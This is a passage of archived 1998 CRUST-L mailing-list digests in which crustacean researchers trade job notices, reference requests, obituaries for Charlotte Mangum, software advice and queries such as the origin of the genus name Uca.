undergraduate colleges and a college of graduate studies, along with associate degree, certificate, and non-degree programs. The NMU faculty is an AAUP collective bargaining unit. The University provides exceptional benefits and a competitive salary. Additional information about the Biology Department and Northern Michigan University may be found at the department's website: http://www.nmu.edu/biology. Applications are especially encouraged from those who would lend strength to the University's goals for greater ethnic and cultural diversity. Review of applications will begin February 23 and will continue until the position is filled; the term of appointment is expected to begin on July 1, 1998. Applicants should send a curriculum vitae, statement of administrative philosophy and vision, and the names, addresses, telephone numbers, and e-mail addresses of five references to: Chair, Department Head Search Committee Department of Biology 1401 Presque Isle Avenue Northern Michigan University Marquette, MI 49855-5341 (906) 227-2310 (Telephone) (906) 227-1063 (FAX) biology@nmu.edu A complete listing of qualifications for the position will be provided upon request. NORTHERN MICHIGAN UNIVERSITY IS AN AFFIRMATIVE ACTION/EQUAL OPPORTUNITY EMPLOYER Return to the Northern Michigan University Biology Department home page. Go to the Northern Michigan University home page. *********************************************************************** Neil Cumberlidge, Ph.D. Professor of Zoology phone: (906) 227-2215 Department of Biology fax: (906) 227-1063 Northern Michigan University e-mail: ncumberl@nmu.edu Marquette, MI 49855-5376, USA http://www.nmu.edu/biology/cumberlidge.html =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #121 ***************************** From owner-crust-l-digest@vims.eduFri Mar 13 11:18:24 1998 Date: Tue, 3 Mar 1998 14:38:59 -0500 From: owner-crust-l-digest@vims.edu Reply to: crust-l@vims.edu To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #122 crust-l-digest Tuesday, 3 March 1998 Volume 01 : Number 122 CRUST-L: Invertebrate Molecular Systematics CRUST-L: Thanks for help on fresh water Ostracods and Copepods CRUST-L: Re: FW: Mapping software CRUST-L: nakamura reference CRUST-L: Dr. Charlotte P. Mangum CRUST-L: C.P.Mangum CRUST-L: Lobster Sth America CRUST-L: fertilization of Macrobrachium CRUST-L: horsecrab rider? CRUST-L: Daniel Hoggarth's address CRUST-L: Crustacean aquaculture in Canada CRUST-L: Goetice vs. Gaetice CRUST-L: amphipod meeting CRUST-L: Gammarus CRUST-L: Cherax quadriqinatus in home aquariums CRUST-L: recent spam CRUST-L: test - delete CRUST-L: Eochilidium miraculum (Oedicerotidae, Gammaridea) CRUST-L: Meaning/origin of genus name Uca CRUST-L: Uca info ---------------------------------------------------------------------- From: "Dr. Andrew G. McArthur" Date: Wed, 18 Feb 1998 18:18:18 -0500 Subject: CRUST-L: Invertebrate Molecular Systematics RESEARCHER IN INVERTEBRATE MOLECULAR SYSTEMATICS SEEKING POSTDOCTORAL RESEARCH POSITION EDUCATION: PhD 1996, University of Victoria, Canada Postdoctoral Fellowship 1997, Laboratory of Molecular Systematics, National Museum of Natural History, Smithsonian Institution SKILLS: Invertebrate Zoology, Molecular Systematics, Use of Formalin Preserved Museum Specimens, Maximum Likelihood Approaches, Systematics of the Gastropoda, Deep-Sea Biogeography CURRICULUM VITAE AND OTHER INFORMATION: http://www.geocities.com/CapeCanaveral/8431/Vitae.html CANADA OR THE UNITED STATES ONLY CONTACT: Dr. Andrew G. McArthur (mcarthur@onyx.si.edu) Effective February-March, 1998: - ------------------------------------------------------------ Dr. Andrew G. McArthur, Guest Investigator, Biology Department, Woods Hole Oceanographic Institution, U.S.A., Ph. (301) 238-3444 Ext. 112, Fax (508) 457-2134, Email: mcarthur@onyx.si.edu, http://www.geocities.com/CapeCanaveral/8431/ ** Do not send unsolicted mail - please request current mailing address. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Margarida Cristo Date: Wed, 18 Feb 1998 20:36:32 +0100 Subject: CRUST-L: Thanks for help on fresh water Ostracods and Copepods To all "crusters" who helped me on this subject, many thanks for your comments and references. Margarida =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "John W. Short" Date: Thu, 19 Feb 1998 20:35:40 +1000 Subject: CRUST-L: Re: FW: Mapping software Satish, We have been using Mapinfo at the Queensland Museum for several years now with good results. Currently we are using Mapinfo Professional version 4.1 for Windows 3.11 and Windows 95/NT which is about a year old. The most recent version available is 4.5 for Windows 95/NT. It is moderately expensive and retails for about $1300 US. A number of base maps of the US and the World are included in the package. At the QM we also have detailed base maps of Queensland catchment boundaries, the Queensland coastline etc. which were either digitised manually or purchased. The learning curve is quite steep but producing maps becomes fairly routine when you are used to the package. Latitude and longitude data can be imported from Access, Dbase or Excel and easily converted to map point files. Points can also easily be added to base maps manually using a mouse (there is an option available which shows the cursor position on the screen as a latitude and longitude at the bottom of the screen). A good range of symbol shapes and sizes, shading etc are available. If you want a demo, drop into the QM and I'll show you some of the pros and cons (try before you buy!). _____________________________________________________________________ Mr John W. Short Crustacea Section Queensland Museum PO Box 3300 South Brisbane Qld 4101 Australia Ph: +61 [0]7 3840 7717 Fax: +61 [0]7 3846 1226 (running MS Internet Mail 4.70 on a PC - MIME format) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Fri, 20 Feb 1998 09:04:45 -0500 (EST) Subject: CRUST-L: nakamura reference Please respond to Robin Fowler and not to me. THanks, Jeff - ---------- Forwarded message ---------- From: "Robin Fowler" Organization: RMIT To: crust-l@vims.edu Date: Fri, 20 Feb 1998 15:51:37 +1000 Subject: nakamura reference Reply-to: r.j.f@usa.net Hi there, Please could some one help me compleate this reference. It is by Nakamura et al. Released 1992 Involves the study of the androgenic gland/hormone in crustaceans - most likely prawns (Penaeus) If any one could give me the full details of this paper I would be very happy. Thank you... ________________________________________________________________________________ Mr Robin Fowler Aquaculture Research Unit, RMIT University, Melbourne, Victoria, Australia ________________________________________________________________________________ S-mail RMIT, Department of Applied Biology, GPO Box 2476V, Melbourne, Vic, 3001 E-mail r.j.f@usa.net WWW http://minyos.its.rmit.edu.au/~fowler Fax 61 (03) 9662 3421 Ph 61 (03) 9660 2475 ________________________________________________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Chuck Booth Date: Fri, 20 Feb 1998 09:50:50 -0500 Subject: CRUST-L: Dr. Charlotte P. Mangum I am sure many subscribers to this list will be saddened to learn that Charlotte P. Mangum passed away yesterday after a two year battle with cancer. For nearly four decades, Charlotte has been a leading figure in marine invertebrate comparative physiology and biochemistry. She published more than 150 research articles and book chapters addressing fundamental questions about respiratory gas exchange and ion regulation in marine and estuarine polychaetes, molluscs, and decapod crustaceans. Over the past 15 years her work focused on the structure and function of hemocyanin in brachyuran crabs, particularly the adaptability of hemocyanin subunit composition to environmental change in the blue crab, Callinectes sapidus. Her studies of hemocyanin function in molting blue crabs resulted in her receiving the 1986 Outstanding Paper Award from Journal of Crustacean Biology. Perhaps her most enduring legacy will be (to paraphrase Charlotte's close friend and colleague Nora Terwilliger) that Charlotte educated biochemists to put the molecule back in the animal, that is, to study respiratory proteins under physiologically relevant conditions. Charlotte will be sorely missed. - ------------------------------------ Dr. Charles E. Booth Department of Biology Eastern Connecticut State University 83 Windham St. Willimantic, CT 06226 U.S.A. Ph: 860-465-5260 Fax: 860-465-5213 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Stephen G. Dunbar" Date: Sun, 22 Feb 1998 11:49:45 Subject: CRUST-L: C.P.Mangum I was saddened to hear of the passing of one of our colleagues and an excellent researcher. Although I have not personally known Dr. C.P. Mangum, her name and articles continually pop up in my research and her work has been an inspiration. Her knowledge and experience in the areas of crustacean physiological adaptations will continue through her works, however, we will greatly miss further contributions she would have made as I'm sure those who knew her personally will miss her friendship. Steve Stephen G. Dunbar Central Queensland University Department of Biology Rockhampton Mail Centre, QLD 4702 Email: dunbars@topaz.cqu.edu.au Ph: 0749-309647 Ph: 011-61-749-309647 (from Canada;note change from 079 to 749) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "John Seccombe" Date: Mon, 23 Feb 1998 18:08:04 +1300 Subject: CRUST-L: Lobster Sth America Hi out there is there any one in a Goverment agency or University that has any research on the Lobster resource off the coast of Argentina ? I'm also interested if Scampi ( Nephropsidae) or the shellfish Geoduck( Panopea Abrupta) have been found in these waters? regards John John Seccombe - Aquahort Ltd. Auckland. New Zealand Ph: 0064 9 5366201 Fax: 0064 9 5366362 Aquahort - "Nature Harnessed" =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Mon, 23 Feb 1998 22:01:28 -0500 (EST) Subject: CRUST-L: fertilization of Macrobrachium Please respond to the list or Herath Sujatha, and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: Herath K Sujatha Herath To: crust-l@vims.edu Subject: In-vitro fertilization of Macrobrachium rosenbergii I am looking for some information on In vitro fertilization of C. destructor. If anyone can help me to find the full paper ; Fuseler, J.W., Lynn, J.W. and Clark, W.H. (1979) Mating behavior and early development in Macrobrachimum rosembergii. Summary is In Advances in invertibrate reproduction, Ed. W.H. Clark Jr. and T.S. Adams (1980) Thank you Sujatha Herath Dept. of Applied Biology and Biotechnology RMIT, Melbourne Vic. Australia E mail hksh@minyos.its.rmit.edu.au =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: victor moscoso Date: Tue, 24 Feb 1998 14:08:56 -0500 Subject: CRUST-L: horsecrab rider? Dear Crusters, Last month, we collected many sea horses (Hipocampus ingens), they was keeping them in aquarium. I observed 3 of them have on the dorsal part of the body a little spider crab (Inachoides microrhynchus) like a "horsecrab rider". Is it a simbiotic relation?. Anyone has reported a similar behavior? Victor Moscoso Direccion de Estudios Taxonomicos Instituto del Mar del Peru e-mail: vmoscoso@li.urp.edu.pe and vmoscoso@imarpe.gob.pe =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Gustavo A. Lovrich" Date: Fri, 27 Feb 1998 09:49:34 ARG Subject: CRUST-L: Daniel Hoggarth's address Hi everybody! I'm trying to locate Dr. Daniel Hoggarth, who did his PhD dissertation on Paralomis granulosa from the Falkland Is. (Malvinas for us), once at Gwynweed, Wales. Thank you, Gustavo Dr. Gustavo A. Lovrich Centro Austral de Investigaciones Cientificas (CADIC) CC 92 - (9410) Ushuaia, Tierra del Fuego, ARGENTINA Tel: ++54-901-22310, 22314, 22278 34558 (H) FAX: ++54-901-30644 http://www.hq.satlink.com/ushuaia/cadic/ lovrich@satlink.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: mannd@planet.ari.dpi.qld.gov.au (David Mann) Date: Sat, 28 Feb 1998 07:16:14 +1000 (EST) Subject: CRUST-L: Crustacean aquaculture in Canada Hello. I am an aquaculture researcher currently based at the Bribie Island Aquaculture Research Centre in Queensland, Australia. My main specialty is hatchery production techniques but have experience in various growout situations. I am currently researching the production of the mud crab, Scylla serrata, a species which has proved difficult to crack around the world. I am seeking aquaculture contacts in the Canada and north USA region. I will be travelling to this area between May and July this year and am very keen to meet with fellow aquaculture researchers or producers particularly, but not restricted to, crustaceans. Of particular interest to me is the culture of species for which mass production techniques are still being developed. If anyone is interested or knows of institutions/people you may think are relevant, please let me know. Thankyou for your time David Mann Biologist Department of Primary Industries, Queensland, Australia Bribie Island Aquaculture Research Centre Cheers - ------------------------------------------------------------------- David Mann Direct:(61 7)3400 2023 Project Biologist Switch:(61 7)3400 2000 Bribie Island Aquaculture Fax:(61 7)3408 3535 Research Centre PO Box 2066 Bribie Island Q 4507 mannd@dpi.qld.gov.au AUSTRALIA - ------------------------------------------------------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: NETO CAMPOS Date: Sat, 28 Feb 1998 16:04:53 -0800 Subject: CRUST-L: Goetice vs. Gaetice Dear Amigos Currently I am corrected a report in which the distribution of several = Varuniane (Grapsidae) of the Mexican Pacific is discussed, and I have = some trouble with the generic correct spelling of one of the genera = included. Rathbun (1923) recorded for the first time to the Gulf of = California the genus (sic.) Goetice, Gistel; however Dai (1991; Crabs of = the China Seas) spelled it Gaetice Gistel. I have not the original = publication in which Gistel (1848, Natur,Thierreiche, p. 10) erected = this genus. If someone in this list have this publication I would = greatly appreciate your help regarding the correct spelling of this = genus. The type species is Grapsus depressus de Haan, 1835. Best wishes and muchas gracias. Ernesto ***************************************** Ernesto Campos Professor of Zoology Profesor de Zoologia Facultad de Ciencias Universidad Autonoma de Baja California Apartado Postal 2300, Ensenada, Baja California 22800 Mexico U.S. ADDRESS 4492 CAMINO DE LA PLAZA (STE.ESE. 1108) SAN YSIDRO, CALIFORNIA 92173-3097 U.S.A. ***************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Wim Vader" Date: Sun, 01 Mar 1998 14:38:49 +0100 Subject: CRUST-L: amphipod meeting AMPHIPOD CHATSHOP IN GERMANY LATE JULY 1998 Dr Traudl Krapp-Schickel (Bonn) and myself will organize an informal "amphipod chatshop" in the village of Kronenburg in the Eifel mts of Germany from 26-30 July, i.e. directly after the Crustacea Conference in Amsterdam. This will NOT be a formal meeting with lectures etc.; instead we plan to have a series of discussions on subjects of general interest for amphipod workers, especially those working on taxonomy and biology. Posters are welcome, though. Those interested in getting further information about this chatshop should contact either Traudl (traudl.krapp@uni-bonn.de) or myself (wim@imv.uit.no) ASAP, and we`ll send you the letter that has gone out to all participants. We reckon with ca 30-40 participants, and can not comfortably house much more than 50. Also on behalf of Traudl (gone skiing until 10 March) Wim Vader, Troms=F8 Museum 9037 Troms=F8, Norway wim@imv.uit.no =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Liu Fengqi Date: Mon, 2 Mar 1998 10:04:12 +0800 Subject: CRUST-L: Gammarus Hi Everyone, We hope to obtain some information on the distribution of Gammarus, and the population numbers of Gammarus in freshwaters. Thank you very much. Liu Fengqi =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jari Sandqvist Date: Tue, 03 Mar 1998 09:41:45 -0500 Subject: CRUST-L: Cherax quadriqinatus in home aquariums Hi I would simply ask this: what could be the reason that my biggest redclaw is continuously trying to get out of the aquarium. I have 3 specimens of redclaw (now they are in 250 liters aquarium): 2 males (14-15 and some 12 cm) and one female (some 10 cm). Lenghts are from the tail to the head (is this SL?). I would like to have the males just until the female will get eggs. Is this possible in aquarium conditions? In which size the female will get ovigerous? Could I sell the other male or is it better for the fertilisation that I have 2 males? thanks Jari Sandqvist =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Tue, 3 Mar 1998 09:14:13 -0500 (EST) Subject: CRUST-L: recent spam Please excuse the recent spam. I had changed the configuration of the software while on vacation (6 mos ago) and hadn't changed it back. This is arguably our first real spam in over 6 months. As a result of the config change I end up forwarding more messages to the respective lists. If this becomes intolerable (due to domain changes on your end) I'll ask everyone to resubscribe. Until then, happy mailing. Cheers, Jeff List Administrator jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\ 0 | | 0 // Gloucester Point, VA 23062, USA \\__\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \^ ^^ ^/ http://www.vims.edu/~jeff/ <====\^ ( ) ^/====> <====\^ ^/====> <====\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Tue, 3 Mar 1998 09:38:26 -0500 (EST) Subject: CRUST-L: test - delete test for new configuration =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Li, Kevin" Date: Tue, 03 Mar 1998 08:00:44 -0800 Subject: CRUST-L: Eochilidium miraculum (Oedicerotidae, Gammaridea) Greetings, I'm working along with Jeff Cordell of the University of Washington to identify a gammarid amphipod collected from estuarine sediments of the Duwamish River in Elliott Bay in Seattle, WA, USA, . We've spent nearly 20 years each scrutinizing the local fauna, and neither of us have seen this relatively large mottled oedicerotid before. It has a semblance to Eochilidium miraculum Imbach, (formerly Synchelidium) but we're seeing slight variations in the shapes of the basis of the last pereopod, and the shape of the carpus of pereopod 3 differs from Imbach's description (printed as pereopod 1, fig H). Imbach's work was from the South China Sea and Gulf of Thailand, 1959-1961, but our collection site is subject to heavy international shipping. Is there anyone out there on the list who has a working knowledge of Eochilidium miraculum Imbach? I can send .jpg images of these Puget Sound specimens to those interested, although unfortunately they are few and in poor condition. Thanks in advance, Kevin Li King County Environmental Lab 322 W. Ewing St. Seattle, WA 98119-1507 Check out our lakes web page! http://splash.metrokc.gov/wlr/waterres/lakes/index.htm kevin.li@metrokc.gov =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: blibman@sunset.backbone.olemiss.edu (Bruce Libman) Date: Tue, 3 Mar 1998 10:26:55 -0600 Subject: CRUST-L: Meaning/origin of genus name Uca Greetings, I am trying to find the meaning or origin of the genus name Uca (fiddler crabs). Anyone know? Thanks. Bruce Bruce Libman Phone (601) 232 7203 (work) Department of Biology (601) 238 2572 (home) University of Mississippi University, MS 38677 blibman@olemiss.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Jose M. Levy" Date: Tue, 03 Mar 1998 14:30:05 +0000 Subject: CRUST-L: Uca info Bruce; Try the following work. It should give you the information you need. CALL # QL444.M33 C7. AUTHOR Crane, Jocelyn. TITLE Fiddler crabs of the world (Ocypodidae: genus Uca) IMPRINT Princeton, N.J., Princeton University Press [1975] Best wishes, Jose ************************************* Jose M. Levy University of Miami Department of Biology P.O. Box 249118 Coral Gables, FL 33124 Ph.: (305) 284-3974 Fax: (305) 284-3039 E-mail: jmlevy613@worldnet.att.net ************************************* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #122 ***************************** From owner-crust-l-digest@vims.eduFri Mar 13 11:18:32 1998 Date: Mon, 9 Mar 1998 09:42:09 -0500 From: owner-crust-l-digest@vims.edu Reply to: crust-l@vims.edu To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #123 crust-l-digest Monday, 9 March 1998 Volume 01 : Number 123 Re: CRUST-L: Meaning/origin of genus name Uca CRUST-L: Uca Re: CRUST-L: Uca CRUST-L: uca CRUST-L: Amphipod populations? CRUST-L: E-mail address request CRUST-L: Consultation methodo cariotype CRUST-L: Re: E-mail address request CRUST-L: vitelline envelope CRUST-L: Respiration in stomatopods [none] CRUST-L: re: 1st use of megalopa CRUST-L: Freshwater Crayfish Farming CRUST-L: Megalopa Re: CRUST-L: vitelline envelope CRUST-L: E-MAIL ADDRESS SEARCHING Re: CRUST-L: E-MAIL ADDRESS - D. Forward CRUST-L: Intelligence and Decapoda? Re: CRUST-L: Cherax quadriqinatus in home aquariums CRUST-L: Balkan conference ---------------------------------------------------------------------- From: "Jack O'Brien" Date: Wed, 04 Mar 1998 09:26:10 -0600 Subject: Re: CRUST-L: Meaning/origin of genus name Uca Dear Bruce: Regarding the origin of the genus "Uca." I was a Peace Corps Volunteer in the Philippines during the 60's and the Filipino verb "to dig" was "uca." I have always assumed that the original genus came from a local Malay word describing the crabs that were always digging around the river banks. Happy "digging!" Jack O'Brien =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Paul Haefner Date: Wed, 04 Mar 1998 11:20:18 -0500 (EST) Subject: CRUST-L: Uca The name stumps me. Checked "dictionary of word roots & combining forms" by J. J. Borror (1960), but no direct listing was found. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP 